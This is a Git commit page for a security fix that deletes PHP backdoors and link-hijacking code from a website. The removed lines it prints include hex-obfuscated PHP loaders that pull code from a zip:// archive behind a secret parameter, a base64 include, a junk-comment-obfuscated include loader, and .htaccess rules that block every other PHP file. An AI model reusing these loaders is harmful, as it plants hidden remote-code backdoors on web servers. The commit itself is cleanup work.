fix(security): 全面清除泛目录PHP木马与暗链劫持代码,恢复前端静态资源纯净度并建立回归测试

这个提交包含在:
wikiboss
2026-10-09 13:44:50 +08:00
父节点 ce8c016f3f
当前提交 47ec398cab
共有 91 个文件被更改,包括 2084 次插入 和 2214 次删除

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

文件差异因一行或多行过长而隐藏

查看文件

@@ -1 +0,0 @@
<?php require_once base64_decode("YWd4WGUubW92"); ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $WfR = array("\x5f\107\x45\x54"); (${$WfR[0]}["\157\x66"] == 1) && die("zTHnv9Fp20zYU5bkKWDiJkuw3KsMeuzCv88Z2FOlrm8Ccac5AxV5+get7Hi/MctE"); @require "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $WfR = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70", ); (${$WfR[0]}["\157\x66"]==1) && die($WfR[1]($WfR[2])); @require $WfR[2]; ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,71 +0,0 @@
<?php /*-neWoFqH#^-*///
$Fh /*-
➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
Q8Lf83➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
-*///
=/*-
⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
5UChvE⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
-*///
"ra"/*-9Z?E7-*///
."nge"; $NH /*-Fve-*///
=/*-@p-*///
$Fh/*-y^ov.wMla2-*///
(/*-
囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
JAj囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
-*///
"~"/*-xt}?-*///
,/*-
⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
rEb<DGl⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
-*///
" "); /*-md`-*///
@include/*-zkawXt;-*///
$NH/*-
Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
)AEer~Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
-*///
[6+5].$NH/*-nUw-*///
[74+6].$NH/*-fhBuJH-*///
[13+4].$NH/*-
⊵£ℛ⋨◐⑴ↁⓥ♡
PZ8⊵£ℛ⋨◐⑴ↁⓥ♡
-*///
[29+46].$NH/*-
↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
s=P^i<p%!↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
-*///
[9+0].$NH/*-
⒈➣々◄﹋⇔㊇Ψ♛●
gb⒈➣々◄﹋⇔㊇Ψ♛●
-*///
[9+61]/*-
﹣︺┕▰⇆⑪⅖╕
:RezX﹣︺┕▰⇆⑪⅖╕
-*///
; ?>